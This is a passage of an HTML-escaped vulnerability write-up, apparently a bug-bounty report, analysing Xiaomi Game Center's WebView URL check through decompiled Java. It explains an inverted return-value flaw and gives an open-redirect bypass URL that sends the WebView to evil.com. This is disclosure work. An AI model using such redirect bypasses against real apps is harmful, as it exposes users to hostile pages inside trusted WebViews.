&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;27&lt;/span&gt;            Logger.a(&quot;&quot;, th);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;28&lt;/span&gt;        }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;29&lt;/span&gt;    }
&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;As you can see, this protection looks robust. The application checks whether the URL to be loaded ends with mi.com, xiaomi.com, duokan.com etc.&lt;/span&gt;&lt;/div&gt;&lt;h1 id=&quot;user-content-misconfiguration-in-game-centers-basewebviewclient&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-family: Effra, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 19px; font-stretch: inherit; line-height: 20px; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;Misconfiguration in Game Center's&amp;nbsp;&lt;span style=&quot;border: 0px; box-sizing: border-box; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;BaseWebViewClient&lt;/span&gt;&lt;/h1&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;The &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;KnightsWebView&lt;/span&gt; actually sets its WebViewClient to &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;BaseWebViewClient&lt;/span&gt;. Looking at the code for this, we come across the &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;shouldOverrideUrlLoading&lt;/span&gt; implementation:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;interactive-markdown__code&quot; style=&quot;background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(229, 229, 229); box-sizing: border-box; font-stretch: inherit; line-height: inherit; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;interactive-markdown__code__menu&quot; style=&quot;border-bottom-color: rgb(229, 229, 229); border-bottom-style: solid; border-width: 0px 0px 1px; box-sizing: border-box; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 2px 4px; vertical-align: baseline;&quot;&gt;&lt;span face=&quot;Effra, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif&quot; style=&quot;caret-color: rgb(51, 51, 51); color: #333333; font-size: 13px; font-weight: 600;&quot;&gt;Code&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;interactive-markdown__code__content interactive-markdown__code__content__scroll&quot; style=&quot;-webkit-user-select: text; border: 0px; box-sizing: border-box; color: #333333; font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Courier, monospace; font-size: 13px; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; overflow-wrap: break-word; overflow-x: auto; padding: 0px 4px; vertical-align: baseline; white-space: pre;&quot;&gt;&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;border: 0px; box-sizing: border-box; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;public boolean shouldOverrideUrlLoading(WebView webView, String str) {
&lt;/span&gt;&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;2&lt;/span&gt;        BaseWebView baseWebView2;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;3&lt;/span&gt;        &amp;lt;--redacted--&amp;gt;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;4&lt;/span&gt;        if (isJavaScripUrl(str)) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;5&lt;/span&gt;            this.mBridgeHandler.sendMessage(this.mBridgeHandler.obtainMessage(256, webView));
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;6&lt;/span&gt;            return true;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;7&lt;/span&gt;        } 
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;8&lt;/span&gt;        &amp;lt;--redacted--&amp;gt;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;9&lt;/span&gt;            } else {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;10&lt;/span&gt;                if (str.startsWith(&quot;migamecenter://&quot;)) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;11&lt;/span&gt;                    try {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;12&lt;/span&gt;                        Intent intent = new Intent(&quot;android.intent.action.VIEW&quot;);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;13&lt;/span&gt;                        intent.setData(Uri.parse(str));
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;14&lt;/span&gt;                        intent.putExtra(&quot;extra_title&quot;, m._b);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;15&lt;/span&gt;                        Aa.a(webView.getContext(), intent);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;16&lt;/span&gt;                    } catch (Exception e2) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;17&lt;/span&gt;                        Log.w(&quot;&quot;, e2);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;18&lt;/span&gt;                    }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;19&lt;/span&gt;                    return true;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;20&lt;/span&gt;                }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;21&lt;/span&gt;                boolean e3 = Y.e(str);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;22&lt;/span&gt;                if (!e3) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;23&lt;/span&gt;                    k.b(R.string.unsupported_url_tip);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;24&lt;/span&gt;                }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;25&lt;/span&gt;                return e3;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;26&lt;/span&gt;            }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;27&lt;/span&gt;        }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;28&lt;/span&gt;    }
&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;Since we are trying to load &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;www.evil.com&lt;/span&gt; in our webview, our URL will fall to the last statement:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;interactive-markdown__code&quot; style=&quot;background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(229, 229, 229); box-sizing: border-box; font-stretch: inherit; line-height: inherit; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;interactive-markdown__code__menu&quot; style=&quot;border-bottom-color: rgb(229, 229, 229); border-bottom-style: solid; border-width: 0px 0px 1px; box-sizing: border-box; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 2px 4px; vertical-align: baseline;&quot;&gt;&lt;span face=&quot;Effra, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif&quot; style=&quot;caret-color: rgb(51, 51, 51); color: #333333; font-size: 13px; font-weight: 600;&quot;&gt;Code&lt;/span&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;interactive-markdown__code__content interactive-markdown__code__content__scroll&quot; style=&quot;-webkit-user-select: text; border: 0px; box-sizing: border-box; color: #333333; font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Courier, monospace; font-size: 13px; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; overflow-wrap: break-word; overflow-x: auto; padding: 0px 4px; vertical-align: baseline; white-space: pre;&quot;&gt;&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;2&lt;/span&gt;                if (!e3) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;3&lt;/span&gt;                    k.b(R.string.unsupported_url_tip);
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;4&lt;/span&gt;                }
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;5&lt;/span&gt;                return e3;
&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;&lt;code style=&quot;-webkit-box-shadow: rgb(229, 229, 229) 0px 0px 0px 1px inset; background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: none; box-shadow: rgb(229, 229, 229) 0px 0px 0px 1px inset; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; overflow-x: auto; padding: 0px; vertical-align: baseline;&quot;&gt;Y.e()&lt;/code&gt; returns true if the URL is owned by Xiaomi (&lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: italic; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;.mi.com, &lt;/span&gt;&lt;i&gt;.xiaomi.com&lt;/i&gt; etc.) and has the HTTPS scheme. Since our URL is &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;https://www.evil.com&lt;/span&gt;, it will return &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;FALSE&lt;/span&gt;. Unfortunately, inside the WebView's &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;shouldOverrideUrlLoading&amp;nbsp;&lt;/span&gt;method, returning &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;FALSE&lt;/span&gt; means that webview will continue to load the URL, and returning &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;TRUE&lt;/span&gt; means the webview will &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;NOT&lt;/span&gt; load that URL. Due to this confusion, &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;https://www.evil.com&amp;nbsp;&lt;/span&gt;will actually get loaded in the webview. This means, if we are able to find an open redirect on any of the allowed hosts, the webview will &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;NOT BLOCK&lt;/span&gt; the redirected URL. I will be using the following open redirect with a simple bypass: &lt;b&gt;https://api.music.xiaomi.com/web?url=http://www.evil.com\www.xiaomi.com &lt;/b&gt;(fixed now)&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;h1 id=&quot;user-content-javascript-bridge-in-game-center&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-family: Effra, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 19px; font-stretch: inherit; line-height: 20px; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline; white-space: normal;&quot;&gt;JavaScript bridge in Game Center&lt;/h1&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;Game Center implements JS in a very creative (at least in my experience) way and does not use only JavaScript interfaces. It uses a combination of &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;shouldOverrideUrlLoading&lt;/span&gt; and a custom android &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;Handler&lt;/span&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;For example, if JS in a page calls &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;JsBridge.invoke(&quot;method-name&quot;)&lt;/span&gt;, the application will load an iframe with source &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;javascript:&lt;code style=&quot;-webkit-box-shadow: rgb(229, 229, 229) 0px 0px 0px 1px inset; background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: none; box-shadow: rgb(229, 229, 229) 0px 0px 0px 1px inset; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: inherit; line-height: inherit; margin: 0px; overflow-x: auto; padding: 0px; vertical-align: baseline;&quot;&gt;&amp;lt;JS-CODE&amp;gt;&lt;/code&gt;&lt;/span&gt;. This will trigger the &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;shouldOverrideUrlLoading&lt;/span&gt; behaviour and call the custom handler:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;interactive-markdown__code&quot; style=&quot;background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(229, 229, 229); box-sizing: border-box; caret-color: rgb(62, 62, 62); font-family: Effra, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline; white-space: normal;&quot;&gt;&lt;div class=&quot;interactive-markdown__code__menu&quot; style=&quot;border-bottom-color: rgb(229, 229, 229); border-bottom-style: solid; border-width: 0px 0px 1px; box-sizing: border-box; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 2px 4px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;caret-color: rgb(51, 51, 51); color: #333333; font-weight: 600;&quot;&gt;Code&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;interactive-markdown__code__content interactive-markdown__code__content__scroll&quot; style=&quot;-webkit-user-select: text; border: 0px; box-sizing: border-box; font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Courier, monospace; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; overflow-wrap: break-word; 